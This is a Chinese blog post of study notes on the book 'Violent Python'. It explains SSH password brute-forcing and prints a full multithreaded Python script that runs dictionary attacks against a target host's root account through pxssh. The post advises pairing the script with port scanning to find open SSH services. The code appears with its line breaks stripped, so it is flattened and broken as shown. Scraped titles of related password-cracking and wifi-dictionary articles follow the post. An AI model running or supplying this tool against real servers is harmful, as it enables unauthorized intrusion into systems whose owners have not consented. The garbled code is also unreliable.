学习《Python绝技——运用Python成为顶级黑客》的第二课

如何对ssh进行破解

ssh类似Windows下的telnet功能,如果服务器开启了ssh服务且允许使用密码登录,那么黑客就能够通过暴力破解或者字典攻击来获取目标的ssh密码,从而实现对目标主机的控制。

先把完整代码贴上来:

# -- coding: utf-8 --
#对目标IP地址进行ssh暴力破解
#输入方式:python ssh_cracker.py -H 127.0.0.1 -u root -F diction.txt
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections=5
connection_lock=BoundedSemaphore(value=maxConnections)
Found=False
Fails=0
def connect(host,user,password,release):global Foundglobal Failstry:s=pxssh.pxssh()s.login(host,user,password)print '[+]Password Found:'+passwordFound=Trueexcept Exception,e:if 'read_nonblocking' in str(e):Fails+=1time.sleep(5)connect(host,user,password,False)elif 'synchronize with original prompt' in str(e):time.sleep(1)connect(host,user,password,False)finally:if release:connection_lock.release()
def main():parser=optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>')parser.add_option('-H',dest='tgtHost',type='string',help='specify the target host')parser.add_option('-u',dest='user',type='string',help='specify the user')parser.add_option('-F',dest='passwords',type='string',help='specify the password file')(options, args)=parser.parse_args()host=options.tgtHostuser=options.userpasswords=options.passwordsif host==None or user==None or passwords==None:print parser.usageexit(0)fn=open(passwords,'r')for line in fn.readlines():if Found:print '[*]Exiting: Password Found'exit(0)if Fails>5:print '[!]Exiting:Too many Socket Timeouts'exit(0)connection_lock.acquire()psw=line.strip('\r').strip('\n')print "[-] Testing :" +str(psw)t=Thread(target=connect, args=(host,user,psw,True))t.start()
if __name__=='__main__':main()

当然,在写代码之前必须先安装上pexpect这个库,使用debian类linux系统可以使用apt来获取相应的库,比较轻松简单。

该库中提供一个能够使用ssh登录的封装,使用该库只要提供主机、用户名、密码参数即可实现,所以该程序通过不断地加载字典中的每一行当做是密码,从而对root用户的密码进行破解,如果登录成功则会返回登陆成功信息,如果登录失败(提示超时则重复尝试登录5次,提示密码错误则进行下一组密码破解)

另外此程序中使用了线程,处理速度大大加快。

建议端口扫描和该程序配合使用。

使用端口扫描程序获取目标网域的端口开放信息(ssh服务的默认端口号为22),如果目标网域的22号端口开放,并且返回了相应的ssh服务版本号等信息,基本就可以确定该目标开启了ssh服务,然后使用该程序对ssh服务进行密码破解,成功使用root用户登录。

当然现在网络上的许多机器即使开启了ssh服务也不一定会允许root用户登录,有的甚至不允许密码登录,很多是使用密钥免密码登录,对于这种机器,还得另想法子。——比如。。。弱密钥。

【python】ssh密码字典攻击相关推荐

  1. python wifi密码字典

    python wifi密码字典 WiFi默认密码是8位英文字母大写+小写+数字(有些时候还有特殊符号),密码成分可以自行更改.自己按照代码试了一下,结果2开头还没开始文本大少就超过了6GB(注意:如果 ...

  2. Python生成密码字典写入文件算法

    Python生成密码字典写入文件算法 简介 主要原理 代码 如果有其他可以提高时空复杂度的算法可以优化一下 简介 密码字典生成原理比较简单,主要靠正常的按序叠加生成,故所需时间以及较大的内存资源 主要 ...

  3. Python生成密码字典教程

    首先声明:本教程只用于技术交流,请勿用于非法用途.请严格遵循相关法律法规. 晚上莫名想要折腾一下aircraft,虽然本学校用的网络是校园网,破解了wifi也不能直接用,还得破解别人的账号密码,但是这 ...

  4. Python实验-字典攻击!你的密码分分钟被搞定!

    # 字典攻击 import itertools # 迭代器 import datetime import hashlib import time def generatelibary(library, ...

  5. Python黑客攻防(八)密码破解攻击

    前言 进行黑客攻击通常需要做大量重复性工作.如果黑客直接通过浏览器攻击Web网站,就要不断手动修改输入值,并反复点击.但如果可以在应用程序内部访问Web网站并接收结果值,那么只需要使用简单的几行代码就 ...

  6. Python —— 字典攻击

    字典攻击1.0 import itertools import datetime import hashlib import time def generatelibarry(library, len ...

  7. Python学习-字典攻击

    1.导入函数库 import hashlib import itertools#迭代器 import datetime import time itertools:迭代器(生成器). datetime ...

  8. python创建一个字典、保存用户名和密码_Python实现生成密码字典的方法示例

    本文实例讲述了Python实现生成密码字典的方法.分享给大家供大家参考,具体如下: key_data.py 文件存放组成数据,可以随时扩充及简化. #coding=utf-8 #!/usr/bin/p ...

  9. python自动生成对应位数的密码字典

    写个简单的demo获取相应位数的密码字典,用于强制破解密码的密码字典. import itertools,stringwords = '0123456789abcdefghijklmnopqrstuv ...

  10. python代码破解wifi,含密码字典

    破解wifi密码 包括代码和密码字典 https://pan.baidu.com/s/1JvKd6VV8X7bamS-yK9nRyA?pwd=q7i5 提取码: q7i5 复制这段内容后打开百度网盘手 ...

最新文章

  1. 50行Python代码,获取公众号全部文章
  2. JS: 关于元素大小和距离的有关的属性总结
  3. SQL语句:SQLwhile(0=0)与while @@fetch_status=0.
  4. LOAD DATA INFILE句法
  5. OpenShift 4 - 利用 File Integrity Operator 实现对集群节点进行入侵检测
  6. spring+springmvc+kafka分布式消息中间件集成方案
  7. verilog之门级相关知识
  8. 数据库热备之SQLServer的数据库镜像实施笔记
  9. Intel-VT 与虚拟化限制
  10. dijit.layout.ContentPane--dojo学习
  11. Android 系统签名打包方法
  12. 3D模型欣赏:斯巴达女将军 长枪圆盾战士 性感美女
  13. 关于奥威亚自动录播系统的设置使用小笔记
  14. chrome调试工具使用技巧汇总
  15. 个人如何购买腾讯云服务器
  16. 13-zinx-Golang-MMO游戏Proto3协议
  17. 针对云主机卡死问题的定位分析方法
  18. Computer:IPFS(星际文件系统)的简介、安装、使用方法之详细攻略
  19. 理解并演示:SNMP简单网络管理协议(200-120新考点)
  20. php 汉字到html乱码怎么办,html网页乱码问题以及解决办法总结

热门文章

  1. Android 11 开机动画资源
  2. JavaScript高级程序设计(第3版)中文在线阅读,也可以免费下载~
  3. ubuntu定时关机命令
  4. Ubuntu下gcc安装及使用
  5. 世界中英文国家及国家代码
  6. 论文写作总结(软件工程专业相关)
  7. DS1302+LCD1602=万年历
  8. 常用的排序算法(java版)
  9. Win10 powershell字体设置
  10. 12.06课堂笔记以及作业